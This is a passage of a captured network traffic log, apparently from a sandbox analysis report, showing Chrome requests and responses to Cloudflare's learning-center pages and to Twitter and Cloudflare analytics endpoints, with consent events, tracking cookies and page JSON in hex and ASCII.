2024-10-18 13:48:14 UTC	1901	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 44 65 6d 61 6e 64 62 61 73 65 5f 4c 6f 61 64 65 64 22 2c 22 64 61 74 61 22 3a 7b 22 67 6f 6f 67 6c 65 5f 63 6f 6e 73 65 6e 74 5f 64 65 66 61 75 6c 74 22 3a 7b 22 61 64 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 61 64 5f 75 73 65 72 5f 64 61 74 61 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 61 64 5f 70 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 61 6e 61 6c 79 74 69 63 73 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 73 65 63 75 72 69 74 79 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 70 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 5f 73 74 6f 72 Data Ascii: {"name":"Demandbase_Loaded","data":{"google_consent_default":{"ad_storage":"granted","ad_user_data":"granted","ad_personalization":"granted","analytics_storage":"granted","security_storage":"granted","functionality_storage":"granted","personalization_stor
2024-10-18 13:48:14 UTC	1272	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:14 GMT Content-Type: application/json Content-Length: 158 Connection: close Access-Control-Allow-Origin: https://www.cloudflare.com Set-Cookie: cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; Domain=cloudflare.com; Path=/; HttpOnly; Secure; SameSite=Lax Vary: Origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Set-Cookie, Cache-Control Access-Control-Allow-Methods: GET, HEAD, POST, OPTIONS Access-Control-Max-Age: 600 set-cookie: google-analytics_v4_nzcr__conversionCounter=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_OwdI__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_VVgx__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_bHox__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_elKW__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: reddit_fZaD__reddit_uuid=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax
2024-10-18 13:48:14 UTC	1002	IN	Data Raw: 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 5f 76 34 5f 6e 7a 63 72 5f 5f 65 6e 67 61 67 65 6d 65 6e 74 44 75 72 61 74 69 6f 6e 3d 3b 20 44 6f 6d 61 69 6e 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 4d 61 78 2d 41 67 65 3d 30 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 5f 76 34 5f 6e 7a 63 72 5f 5f 65 6e 67 61 67 65 6d 65 6e 74 53 74 61 72 74 3d 3b 20 44 6f 6d 61 69 6e 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 4d 61 78 2d 41 67 65 3d 30 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 Data Ascii: set-cookie: google-analytics_v4_nzcr__engagementDuration=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Laxset-cookie: google-analytics_v4_nzcr__engagementStart=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSi
2024-10-18 13:48:14 UTC	1592	IN	Data Raw: 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 63 66 7a 5f 66 61 63 65 62 6f 6f 6b 2d 70 69 78 65 6c 3d 25 37 42 25 32 32 4f 77 64 49 5f 66 62 2d 70 69 78 65 6c 25 32 32 25 33 41 25 37 42 25 32 32 76 25 32 32 25 33 41 25 32 32 66 62 2e 32 2e 31 37 32 39 32 35 39 32 39 30 37 33 39 2e 34 36 34 34 35 34 39 37 25 32 32 25 32 43 25 32 32 65 25 32 32 25 33 41 31 37 36 30 37 39 35 32 39 30 37 33 39 25 37 44 25 32 43 25 32 32 56 56 67 78 5f 66 62 2d 70 69 78 65 6c 25 32 32 25 33 41 25 37 42 25 32 32 76 25 32 32 25 33 41 25 32 32 66 62 2e 32 2e 31 37 32 39 32 35 39 32 39 30 37 33 39 2e 31 30 37 38 38 33 37 36 34 33 25 32 32 25 32 43 25 32 32 65 25 32 32 25 33 41 31 37 36 30 37 39 35 32 39 30 37 33 39 25 37 44 25 32 43 25 32 32 62 48 6f 78 5f 66 62 2d 70 69 78 65 6c 25 32 32 Data Ascii: set-cookie: cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22
2024-10-18 13:48:14 UTC	409	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 6d 44 66 41 57 4f 25 32 46 64 44 4e 32 75 34 79 6e 58 44 78 57 6e 77 7a 46 6e 77 71 42 43 6c 6f 72 30 66 61 58 68 6f 7a 39 30 47 4c 5a 4a 4b 48 77 4e 43 62 33 4f 35 39 58 57 73 4c 6d 71 46 50 58 30 69 41 31 50 4c 56 78 64 66 73 6b 62 4e 45 4e 4a 46 48 64 4f 6f 43 4c 5a 68 55 33 38 77 34 79 56 6a 53 58 79 53 4b 31 73 30 66 42 4c 43 42 38 5a 38 4b 62 6e 63 6a 6a 4a 34 50 43 37 61 31 50 45 64 78 56 64 48 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mDfAWO%2FdDN2u4ynXDxWnwzFnwqBClor0faXhoz90GLZJKHwNCb3O59XWsLmqFPX0iA1PLVxdfskbNENJFHdOoCLZhU38w4yVjSXySK1s0fBLCB8Z8KbncjjJ4PC7a1PEdxVdHQ%3D%3D"}],"group":"cf-nel","max_age":6048
2024-10-18 13:48:14 UTC	158	IN	Data Raw: 7b 22 65 22 3a 5b 22 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 29 7b 77 2e 7a 61 72 61 7a 44 61 74 61 2e 65 78 65 63 75 74 65 64 2e 70 75 73 68 28 5c 22 41 6c 6c 54 72 61 63 6b 73 5c 22 29 3b 77 2e 7a 61 72 61 7a 44 61 74 61 2e 65 78 65 63 75 74 65 64 2e 70 75 73 68 28 5c 22 6d 72 72 70 5c 22 29 3b 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 22 2c 22 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 29 7b 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 22 5d 7d Data Ascii: {"e":["(function(w,d){w.zarazData.executed.push(\"AllTracks\");w.zarazData.executed.push(\"mrrp\");})(window,document)","(function(w,d){})(window,document)"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.8	50828	104.244.42.3	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	897	OUT	GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=f94529a4-d083-4620-bd90-72fde3aa57d1&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=020813ef-aa2c-40e1-950c-6715778cf1b4&restricted_data_use=restrict_optimization&tw_document_href=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&tw_iframe_status=0&txn_id=nvldc&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: guest_id_marketing=v1%3A172925929338406937; guest_id_ads=v1%3A172925929338406937; personalization_id="v1_Qdl+bQcYxiZ2WN7o3FybmQ=="; guest_id=v1%3A172925929338406937
2024-10-18 13:48:14 UTC	401	IN	HTTP/1.1 200 OK date: Fri, 18 Oct 2024 13:48:13 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 64ebec6f637c90d0 strict-transport-security: max-age=631138519 x-response-time: 81 x-connection-hash: bddfcc97c32b591aea2c03805a50b58e7df8e4499a7dcf624439a9d9fdc8be1e connection: close
2024-10-18 13:48:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.8	50829	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	4315	OUT	GET /page-data/learning/access-management/what-is-identity-and-access-management/page-data.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.cloudflare.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb [TRUNCATED]
2024-10-18 13:48:14 UTC	963	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:14 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"b8971d1310ac9e2956c02d5111cb538b" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bnNrsrjDg2iX60U1PB7QW5lSzsD1lB%2FA9fhMa4h%2BYTPw4zB7U0ySHNus6NBlXF7ouGx1xCVCJ0BwywtAzGgGZLih2pjc6aHEF53u0zPWsKqymftZGBh%2FAjKuqx6QGjCvdw9BdQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc1d5fea2cbf-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 37 66 66 32 0d 0a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 43 68 75 6e 6b 4e 61 6d 65 22 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 6c 65 61 72 6e 69 6e 67 2d 63 65 6e 74 65 72 2d 74 65 6d 70 6c 61 74 65 73 2d 6c 65 61 72 6e 69 6e 67 2d 63 65 6e 74 65 72 2d 61 72 74 69 63 6c 65 2d 74 65 6d 70 6c 61 74 65 2d 74 73 78 22 2c 22 70 61 74 68 22 3a 22 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 77 68 61 74 2d 69 73 2d 69 64 65 6e 74 69 74 79 2d 61 6e 64 2d 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 22 2c 22 72 65 73 75 6c 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 68 65 61 64 65 72 44 61 74 61 22 3a 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 Data Ascii: 7ff2{"componentChunkName":"component---src-components-learning-center-templates-learning-center-article-template-tsx","path":"/learning/access-management/what-is-identity-and-access-management/","result":{"data":{"headerData":{"contentTypeId":"navNaviga
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 43 79 62 65 72 73 65 63 75 72 69 74 79 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 69 66 69 65 64 20 73 65 63 75 72 69 74 79 20 66 6f 72 20 74 68 65 20 49 6e 74 65 72 6e 65 74 2c 20 65 6d 70 6c 6f 79 65 65 73 20 26 20 6e 65 74 77 6f 72 6b 73 22 2c 22 75 72 6c 22 3a 22 63 79 62 65 72 73 65 63 75 72 69 74 79 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 66 61 6c 73 65 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 Data Ascii: e":"en-US","title":"Cybersecurity","description":"Unified security for the Internet, employees & networks","url":"cybersecurity","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":false},{"contentTypeId":"elementNavLink","content
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 33 34 75 38 64 33 49 48 63 71 43 43 30 65 78 5a 77 57 51 7a 70 6b 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 50 72 6f 74 65 63 74 20 26 20 61 63 63 65 6c 65 72 61 74 65 20 61 70 70 6c 69 63 61 74 69 6f 6e 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6d 62 69 6e 65 20 73 65 63 75 72 69 74 79 20 77 69 74 68 20 70 65 72 66 6f 72 6d 61 6e 63 65 20 66 6f 72 20 70 72 6f 74 65 63 74 69 6e 67 20 77 69 74 68 6f 75 74 20 63 6f 6d 70 72 6f 6d 69 73 65 22 2c 22 75 72 6c 22 3a 22 2f 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 65 72 76 69 63 65 73 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c Data Ascii: ink","contentfulId":"34u8d3IHcqCC0exZwWQzpk","locale":"en-US","title":"Protect & accelerate applications","description":"Combine security with performance for protecting without compromise","url":"/application-services","badges":null,"specialLinkType":nul
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 74 66 75 6c 49 64 22 3a 22 32 79 75 6f 54 31 7a 48 55 77 5a 79 79 64 63 68 36 51 62 54 53 42 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 42 79 20 69 6e 64 75 73 74 72 79 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 36 47 31 66 74 7a 53 35 41 75 6e 62 44 4e 6c 38 6d 66 38 6d 4e 75 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 45 63 6f 6d 6d 65 72 63 65 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 Data Ascii: tfulId":"2yuoT1zHUwZyydch6QbTSB","locale":"en-US","name":"By industry","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"6G1ftzS5AunbDNl8mf8mNu","locale":"en-US","title":"Ecommerce","description":"For
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 61 72 65 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 6d 65 64 69 63 61 6c 20 69 6e 73 74 69 74 75 74 69 6f 6e 73 20 6f 72 20 73 65 72 76 69 63 65 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 68 65 61 6c 74 68 63 61 72 65 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 36 73 6e 66 76 77 4c 37 35 31 35 42 49 76 7a 53 67 Data Ascii: are","description":"For medical institutions or services","url":"https://www.cloudflare.com/healthcare/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"6snfvwL7515BIvzSg
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 6c 73 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 5d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 31 42 62 35 36 52 70 74 4e 6e 46 6a 42 59 65 41 47 41 73 73 4e 51 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 50 75 62 6c 69 63 20 69 6e 74 65 72 65 73 74 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b Data Ascii: lse,"hideOnChinaSite":false,"navigationItems":[]},{"contentTypeId":"navNavigationItem","contentfulId":"1Bb56RptNnFjBYeAGAssNQ","locale":"en-US","name":"Public interest","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 74 72 75 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 33 4a 71 5a 58 61 6c 46 31 76 57 31 4e 67 38 36 37 31 35 50 46 45 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 45 6c 65 63 74 69 6f 6e 20 63 61 6d 70 61 69 67 6e 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 70 6f 6c 69 74 69 63 61 6c 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 Data Ascii: "specialLinkType":null,"openInNewWindow":true,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"3JqZXalF1vW1Ng86715PFE","locale":"en-US","title":"Election campaigns","description":"For political organizations","url":"https://www.clou
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 6c 6f 79 65 65 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 39 59 38 50 6e 58 34 39 6b 71 4a 73 58 6a 7a 53 73 53 37 33 7a 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 53 41 53 45 20 26 20 53 53 45 20 70 6c 61 74 66 6f 72 6d 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 5a 65 72 6f 20 54 72 75 73 74 20 73 65 63 75 72 69 74 79 20 28 5a 54 4e 41 2c 20 53 57 47 2c 20 43 41 53 42 29 20 26 20 6e 65 74 77 6f 72 6b 20 63 6f 6e 6e 65 63 74 69 76 69 Data Ascii: loyees","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"9Y8PnX49kqJsXjzSsS73z","locale":"en-US","title":"SASE & SSE platform","description":"Zero Trust security (ZTNA, SWG, CASB) & network connectivi
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 72 6f 64 75 63 74 73 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 5d 2c 22 6e 61 76 49 63 6f 6e 22 3a 6e 75 6c 6c 2c 22 73 68 6f 77 49 63 6f 6e 4f 6e 6c 79 22 3a 66 61 6c 73 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 5d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 36 41 4f 56 39 51 4f 39 73 4a 47 41 73 34 51 33 67 4c 36 6d 67 5a 22 2c 22 6c 6f Data Ascii: roducts","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null}],"navIcon":null,"showIconOnly":false,"hideOnChinaSite":false,"navigationItems":[]},{"contentTypeId":"navNavigationItem","contentfulId":"6AOV9QO9sJGAs4Q3gL6mgZ","lo
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 47 65 74 20 31 2e 31 2e 31 2e 31 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 34 70 61 78 67 6f 34 53 63 6f 34 59 7a 6b 64 5a 69 41 4c 61 53 4b 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 47 65 74 20 31 2e 31 2e 31 2e 31 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 6e 65 2e 6f 6e 65 2e 6f 6e 65 2e 6f 6e 65 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c Data Ascii: locale":"en-US","name":"Get 1.1.1.1","description":null,"mainLink":{"contentTypeId":"elementNavLink","contentfulId":"4paxgo4Sco4YzkdZiALaSK","locale":"en-US","title":"Get 1.1.1.1","description":null,"url":"https://one.one.one.one/","badges":null,"specialL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.8	50830	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
